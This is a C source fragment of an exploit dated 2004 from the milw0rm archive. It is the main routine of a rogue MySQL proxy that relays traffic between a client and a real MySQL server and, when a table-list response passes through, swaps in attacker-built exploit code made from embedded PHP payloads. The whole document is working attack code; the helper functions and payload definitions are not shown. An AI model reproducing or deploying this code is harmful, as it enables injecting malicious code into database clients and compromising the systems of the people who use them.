int main(int argc,char* argv[])
{
struct sockaddr_in ina1;
int ina1_l;
int s_daemon,s_mysql;
size_t byte_read,byte_written;
char *buf;
int sc,event,n_select;
fd_set rfds;
struct timeval tv;
int exptlen,i;
char *expt;
char *dbname=DATABASE;
buf = (char*) malloc(sizeof(char) * (BUFFER_LEN));
tv.tv_sec = 15;
tv.tv_usec = 0;
/* we listen to port */
s_daemon = listener();
exptlen = build_exploite_code(dbname,phpcodes,&expt);
for(;;)
{
fprintf(stderr,"waiting for connection\n");
if( -1 == (sc = accept(s_daemon,(struct sockaddr *) &ina1,&ina1_l)) )
perror("accept()");
/* if we get here, we have a new connection */
fprintf(stderr,"got client connection\n");
mysql:
/* connect to mysql */
s_mysql = connect_mysql();
for(;;)
{
FD_ZERO(&rfds);
FD_SET(sc,&rfds);
FD_SET(s_mysql,&rfds);
n_select = (sc > s_mysql)? sc : s_mysql;
event = select(n_select+1,&rfds,NULL,NULL,NULL);
if(-1 == event)
perror("select()");
else
{
if(FD_ISSET(s_mysql,&rfds))
{
byte_read = read(s_mysql,buf,BUFFER_LEN);
/* check for closing client connection*/
if(byte_read == 0)
{
shutdown(s_mysql,SHUT_RDWR);
close(s_mysql);
goto mysql;
}
/* check data received from mysql server.
* if buf[11] contain 'T', data received from mysq server is table list
*
* NOW we replace the table with our exploite codes and send them to client
*/
if( 'T' == buf[11])
{
for(i=0;i<exptlen;i++)
buf[i] = expt[i];
byte_read = exptlen;
}
if(write(sc, buf, byte_read) < 0)
break;
}
if(FD_ISSET(sc,&rfds))
{
byte_read = read(sc,buf,BUFFER_LEN);
/* check for closing client connection*/
if(byte_read == 0)
{
close(sc);
break;
}
if(write(s_mysql,buf,byte_read) < 0)
break;
}
#if defined(DEBUG)
fprintf(stderr,"data:\n");
for(i=0;i<byte_read;i++)
fprintf(stderr," %c(%x) ",buf[i],buf[i]);
#endif
}
}
}
free(buf);
free(expt);
return 0;
}
// milw0rm.com [2004-07-04]